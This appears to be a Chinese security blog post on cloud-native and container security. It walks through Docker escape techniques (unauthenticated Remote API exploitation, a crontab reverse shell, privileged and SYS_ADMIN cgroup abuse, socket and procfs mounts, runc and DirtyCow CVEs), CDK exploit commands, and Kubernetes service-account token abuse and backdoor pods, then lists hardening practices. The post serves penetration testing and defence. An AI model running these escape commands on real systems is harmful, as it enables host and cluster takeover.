February 26th 2021, 4:45:01 pm
云原生安全
什么是云原生安全
云原生(Cloud Native)是一套技术体系和方法论,它由2个词组成,云(Cloud)和原生(Native)。云(Cloud)表示应用程序位于云中,而不是传统的数据中心;原生(Native)表示应用程序从设计之初即考虑到云的环境,原生为云而设计,在云上以最佳状态运行,充分利用和发挥云平台的弹性和分布式优势。
云原生的代表技术包括容器、服务网格(Service Mesh)、微服务(Microservice)、不可变基础设施和声明式API。
云原生安全的4个C
你可以分层去考虑安全性,云原生安全的 4 个 C 分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)。
云原生安全模型的每一层都是基于下一个最外层,代码层受益于强大的基础安全层(云、集群、容器)。你无法通过在代码层解决安全问题来为基础层中糟糕的安全标准提供保护。
按不同视角进行的安全划分
构建-部署-运行
- 构建时安全(Build)
- 以规则引擎的形式运营监管容器镜像
- Dockerfile
- 可疑文件
- 敏感权限
- 敏感端口
- 基础软件漏洞
- 业务软件
- 以规则引擎的形式运营监管容器镜像
- 部署时安全(Deployment)
- Kubernetes
- 运行时安全(Runtime)
- HIDS
攻击前后
- 攻击前:裁剪攻击面,减少对外暴露的攻击面(本文涉及的场景关键词:隔离);
- 攻击时:降低攻击成功率(本文涉及的场景关键词:加固);
- 攻击后:减少攻击成功后攻击者所能获取的有价值的信息、数据以及增加留后门的难度等。
容器攻击面
- Linux内核漏洞
- 内核提权
- 容器逃逸
- 容器自身
- CVE-2019-5736:runc - container breakout vulnerability
- 不安全部署(配置)
- 特权容器或者以root权限运行容器;
- 不合理的Capability配置(权限过大的Capability)。
容器本身的信息收集
判断当前机器是否为Docker容器环境
- 检查PID的进程名
如果该进程就是应用进程则判断是容器,而如果是 init 进程或者 systemd 进程,则不一定是容器,当然不能排除是容器的情况,比如 LXD 实例的进程就为/sbin/init。
1 | ps -p1 |
- 检查内核文件
容器和虚拟机不一样的是,容器和宿主机是共享内核的,因此理论上容器内部是没有内核文件的,除非挂载了宿主机的/boot目录。
1 | KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk -F '=' '/BOOT_IMAGE/{print $2}') |
- 检查
/proc/1/cgroup
是否存在含有docker字符串,并且这条命令可以获取到docker容器的uuid。
1 | cat /proc/1/cgroup |
- 检查根目录是否存在
.dockerenv
文件
容器是通过 cgroup 实现资源限制,每个容器都会放到一个 cgroup 组中,如果是 Docker,则 cgroup 的名称为docker-xxxx
,其中xxxx为 Docker 容器的 UUID。而控制容器的资源,本质就是控制运行在容器内部的进程资源,因此我们可以通过查看容器内部进程为 1 的 cgroup 名称获取线索。
1 | ls -la /.dockerenv |
- 其他方式
1 | sudo readlink /proc/1/exe |
容器逃逸
- 用户层
- 用户配置不当
- 危险挂载
- 服务层: 容器服务自身缺陷(程序漏洞)
- 系统层: Linux内核漏洞
配置不当导致Docker逃逸
Docker Remote API 未授权访问
docker swarm
1 | docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供 |
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
漏洞环境搭建
使用vulhub搭建漏洞环境:docker daemon api 未授权访问漏洞
漏洞利用一 容器RCE
- 获取主机上所有容器:
1 | curl -i -s -X GET http://<docker_host>:PORT/containers/json |
- 创建一个将在容器上执行的”exec”实例
1 | POST /containers/<container_id>/exec HTTP/1.1 |
bash 命令
1 | curl -i -s -X POST \ |
- 启动exec实例
1 | POST /exec/<exec_id>/start HTTP/1.1 |
bash命令
1 | curl -i -s -X POST \ |
漏洞利用二 宿主机RCE
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
1 | import docker |
使用cdk进行漏洞利用
使用cdk直接执行命令:
1 | ./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn" |
挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
Docker 高危启动参数 –privileged 特权模式启动容器
原因
1 | 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。 |
环境搭建
1 | sudo docker run -itd --privileged ubuntu:latest /bin/bash |
漏洞利用
1 | 查看磁盘文件: fdisk -l |
使用cdk:
1 | ./cdk run mount-disk |
Docker 高危启动参数 –cap-add=SYS_ADMIN 利用
Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。
1 | --cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。 |
前提:
1 | 在容器内root用户 |
我们需要一个cgroup,可以在其中写入notify_on_release文件(for enable cgroup notifications),挂载cgroup控制器并创建子cgroup,创建/bin/sh进程并将其PID写入cgroup.procs文件,sh退出后执行release_agent文件。
1 | # On the host |
查看导出的文件
1 | ls /tmp/cgrp |
危险挂载导致Docker逃逸
挂载目录(-v /:/soft)
1 | docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash |
挂载 Docker Socket
逃逸复现
- 首先创建一个容器并挂载/var/run/docker.sock
1 | docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu |
- 在该容器内安装Docker命令行客户端
1 | apt-update |
- 接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部
1 | docker run -it -v /:/host ubuntu:18.04 /bin/bash |
- 在新容器内执行chroot将根目录切换到挂载的宿主机根目录。
1 | chroot /test |
使用cdk工具执行命令:
1 | ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success" |
挂载 procfs 目录
关于procfs
1 | procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时 |
漏洞利用过程比较复杂,但是可以通过cdk快速利用。example:
- 宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器。docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc –rm -it ubuntu bash
- 容器内部执行 ./cdk run mount-procfs /mnt/host_proc “touch /tmp/exp-success”
- 宿主机中出现/tmp/exp-success文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。
挂载 cgroup 目录
使用cdk进行利用
1 | ./cdk run mount-cgroup "<shell-cmd>" |
程序漏洞导致Docker逃逸
CVE-2019-5736 runc容器逃逸漏洞
漏洞详情
Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
影响范围
Docker版本 < 18.09.2
runc版本 <= 1.0-rc6。
利用步骤
使用POC:
POC: CVE-2019-5736-PoC
- 修改payload
1 | vi main.go |
- 编译
1 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go |
- 拷贝到docker容器中执行
- 等待受害者使用
docker exec
连接容器 - 收到反弹shell
CVE-2019-14271 Docker cp 命令容器逃逸攻击漏洞
漏洞详情
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
影响范围
Docker 19.03.0
漏洞参考
Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271
CVE-2019-13139 Docker build code execution
漏洞参考
CVE-2019-13139 - Docker build code execution
内核漏洞导致Docker 逃逸
DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
漏洞描述
1 | Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。 |
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
漏洞复现
环境获取:git clone https://github.com/gebl/dirtycow-docker-vdso.git
工具使用 CDK
CDK:https://github.com/cdk-team/CDK
复制到container内
1 | # 宿主机 |
常用命令
1 | # 信息收集 |
k8s的安全问题
通过cdk的evaluate的检测项,可以看一下k8s的安全问题。
k8s搭建踩坑
参考:
- https://learnku.com/articles/42843
- https://raw.githubusercontent.com/kubernetes/dashboard/v1.10.1/src/deploy/recommended/kubernetes-dashboard.yaml
- https://github.com/kubernetes/dashboard
- 先通过docker-desktop安装k8s,参考:https://github.com/maguowei/k8s-docker-desktop-for-mac
- 安装k8s
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
- 开启本地代理
kubectl proxy
- 访问
http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
- 下方步骤获取token
- 安装helm
- brew install helm
- helm repo add stable http://mirror.azure.cn/kubernetes/charts/
- helm repo update
- helm install my-mysql stable/mysql
创建一个用户:
1 | kubectl apply -f dashboard-adminuser.yaml |
dashboard-adminuser.yaml 内容如下:
1 | apiVersion: v1 |
获取token
1 | kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}') |
kube-proxy边界绕过(CVE-2020-8558)
攻击者可能通过同一局域网下的容器,或在集群节点上访问同一个二层域下的相邻节点上绑定监听了本地127.0.0.1端口的TCP/UDP服务,从而获取接口信息。
详细介绍可以参考:CVE-2020-8558:Kubernetes 本地主机边界绕过漏洞通告
列出可能受影响的服务:
1 | lsof +c 15 -P -n -i4TCP@127.0.0.1 -sTCP:LISTEN |
K8s Api-server
检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。
参考:https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server
前提是必须k8s支持匿名登录,默认是不支持匿名登录的。如果存在这个问题,可以用cdk kcurl anonymous
去发起HTTP请求。
K8s Service Account
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,您可以直接利用Service Account管理K8s集群。
测试如下:
通过cdk连接K8s api-server发起自定义HTTP请求:
先通过cdk evaluate
判断是否存在这个问题
再获取k8s的api-server地址:
然后通过cdk kcurl
进行请求
之后使用CDK可以部署后门Pod和影子k8s api-server。
容器安全最佳实践
这部分翻译自网络,后期整理。
- Container
- 始终使用最新版本的Docker
- 仅允许受信任的用户控制Docker守护程序
- 确保有适当的规则,可以提供以下方面的审查
- Docker守护程序
- Docker文件和目录
- /var/lib/docker
- /etc/docker
- Docker.service
- Docker.socket
- /etc/default/docker
- /etc/docker/daemon.json
- /etc/sysconfig/docker
- /usr/bin/containerd
- /usr/sbin/runc
- 确保所有Docker文件和目录归适当的用户(通常是root用户)所有,并将其文件权限设置为限制性值,以保护所有Docker文件和目录
- 使用具有有效注册表证书的注册表或使用TLS的注册表,以最大程度地减少流量拦截的风险。
- 如果您使用的容器中没有在映像中定义显式容器用户,则应启用用户名称空间支持,这将允许您将容器用户重新映射为主机用户。
- 禁止容器获取新特权。默认情况下,允许容器获取新特权,因此必须显式设置此配置。您可以采取的最小化特权升级攻击的另一步骤是删除映像中的setuid和setgid权限。
- 以非root用户(UID不为0)运行容器。默认情况下,容器以root用户身份以容器内的root用户身份运行。
- 构建容器时,请仅使用受信任的基本映像。
- 使用不包含可能导致更大攻击面的不必要软件包的最小基础映像。
- 实施强有力的治理策略,以强制进行频繁的图像扫描。
- 构建一个工作流,该工作流定期标识并从主机中删除陈旧或未使用的图像和容器。
- 不要将机密存储在映像/ Dockerfile中。默认情况下,允许您将机密存储在Dockerfile中,但是将机密存储在映像中将使该映像的任何用户都可以访问该机密。
- 运行容器时,请删除容器按需运行所需的所有功能。
- 不要使用–privileged标志运行容器,因为这种类型的容器将具有底层主机可用的大多数功能。该标志还将覆盖您使用CAP DROP或CAP ADD设置的所有规则。(添加–no-new-privileges标志,始终使用来运行docker映像,–security-opt=no-new-privileges以防止使用setuid或setgid二进制文件升级特权。)
- 不要在容器上挂载敏感的主机系统目录,尤其是在可写模式下,这可能会使它们暴露于恶意更改之下,从而导致主机受损。
- 不要在容器中运行sshd。默认情况下,ssh守护程序将不会在容器中运行,并且您不应该安装ssh守护程序来简化SSH服务器的安全性管理
- 不要在容器内映射1024以下的任何端口,因为它们会传输敏感数据,因此会被视为特权端口。默认情况下,Docker会将容器端口映射到49153-65525范围内的端口,但它允许将容器映射到特权端口。根据一般经验,请确保仅在容器上打开需要的端口。
- 除非必要,否则不要共享主机的网络名称空间,进程名称空间,IPC名称空间,用户名称空间或UTS名称空间,以确保Docker容器与基础主机之间的正确隔离。
- 指定容器按设计运行所需的内存和CPU数量,而不是依赖于任意数量。默认情况下,Docker容器无限制地平均共享其资源。
- 将容器的根文件系统设置为只读。一旦运行,容器就不需要更改根文件系统。对根文件系统进行的任何更改都可能出于恶意目的。为了保留容器的不变性-不修补新容器而是从新映像重新创建容器-您不应使根文件系统可写。
- 施加PID限制。容器的优点之一是严格的过程标识符(PID)控制。内核中的每个进程都承载唯一的PID,容器利用Linux PID名称空间为每个容器提供PID层次结构的单独视图。对PID设置限制可有效限制每个容器中运行的进程数。限制容器中的进程数可以防止新进程的大量产生以及潜在的恶意横向移动。施加PID限制还可以防止叉子炸弹(不断自我复制的过程)和异常过程。通常,这样做的好处是,如果您的服务始终运行特定数量的进程,那么将PID限制设置为确切的数量可以缓解许多恶意行为,包括反向Shell和远程代码注入–实际上,
- 不要将您的挂载传播规则配置为共享。共享挂载传播意味着对挂载所做的任何更改都将传播到该挂载的所有实例。而是将挂载传播设置为从属模式或私有模式,以便对卷进行的必要更改不会与不需要该更改的容器共享(或传播到该容器)。
- 不要将docker exec命令与privated或user = root选项一起使用,因为此设置可以使容器具有扩展的Linux功能
- 不要使用默认网桥“ docker0”。使用默认网桥可以让您轻松应对ARP欺骗和MAC泛洪攻击。相反,容器应位于用户定义的网络上,而不是默认的“ docker0”网桥。
- 不要将Docker套接字安装在容器内,因为这种方法将允许容器内的进程执行命令,使其完全控制主机。
- 规则5-禁止容器间通讯(–icc = false)
- 使用Linux安全模块(seccomp,AppArmor或SELinux)
- 规则7-限制资源(内存,CPU,文件描述符,进程,重新启动)
- 规则#8-将文件系统和卷设置为只读
- 规则10-将日志记录级别至少设置为INFO¶
- Kubernetes安全最佳实践
- 对于RBAC,请为特定用户或用户组指定您的Roles和ClusterRoles,而不是向任何用户或用户组授予cluster-admin特权。
- 使用Kubernetes RBAC时避免重复权限,因为这样做可能会导致操作问题。
- 删除未使用或不活动的RBAC角色,以便在对故障进行故障排除或调查安全事件时将注意力集中在活动的角色上。
- 使用Kubernetes网络策略隔离您的Pod,并明确允许应用程序正常运行所需的通信路径。否则,您将同时遭受横向和南北威胁。
- 如果您的Pod需要Internet访问(入口或出口),则创建适当的网络策略以实施正确的网络分段/防火墙规则,然后创建该网络策略所针对的标签,最后将您的Pod与该标签关联。
- 使用PodSecurityPolicy准入控制器可以确保实施适当的管理策略。PodSecurityPolicy控制器可以阻止容器以root身份运行,或者确保容器的根文件系统以只读方式安装(这些建议听起来很耳熟,因为它们都在之前要采取的Docker措施清单中)。
- 使用Kubernetes准入控制器来实施映像注册表管理策略,以便自动拒绝从不受信任的注册表中获取的所有映像。
- 安全问题
- 上次扫描日期超过60天的主机上有多少张图像?
- 多少个图像/容器具有高严重性漏洞?
- 这些高度严重的易受攻击的容器会影响哪些部署?
- 受影响的部署中是否有任何存储秘密的容器?
- 是否有任何易受攻击的容器以root身份或特权标志运行?
- Pod中是否有没有与之关联的网络策略(意味着它允许所有通信)的易受攻击的容器?
- 生产中运行的任何容器都会受到此漏洞的影响吗?
- 我们正在使用的图像来自哪里?
- 我们如何阻止从不受信任的注册表中提取的图像?
- 我们能够查看容器运行时正在执行哪些进程吗?
- 哪些集群,名称空间和节点不符合Docker和Kubernetes的CIS基准测试?
- Dockerfile需要注意的问题
- 确保USER已经被指定
- 确保基本的镜像版本已经固定
- 确保操作系统包版本已经固定
- 避免使用ADD,尽量使用COPY
- 避免使用
apt/apk upgrade
- 避免在RUN指令中调用curl获取bash文件
- 静态分析工具
- https://github.com/coreos/clair
- https://github.com/aquasecurity/trivy
- https://snyk.io/
- https://anchore.com/opensource/
- https://github.com/aquasecurity/microscanner
- https://jfrog.com/xray/
- https://www.qualys.com/apps/container-security/
- https://www.inspec.io/docs/reference/resources/docker/
- https://dev-sec.io/baselines/docker/
- k8s config扫描工具
参考
- 美团技术团队-云原生之容器安全实践
- 云原生安全概述-Kubernetes
- Container Security:Going Beyond Image Scanning
- Docker Container Security 101: Risks and 33 Best Practices
- Docker安全备忘单
- [https://resources.whitesourcesoftware.com/blog-whitesource/docker-container-security](Docker Container Security: Challenges and Best Practices)
- Docker逃逸小结第一版 更新
- 渗透测试之Docker逃逸
- CDK Home CN
- 【云原生攻防研究】容器逃逸技术概览
- 容器逃逸技术概览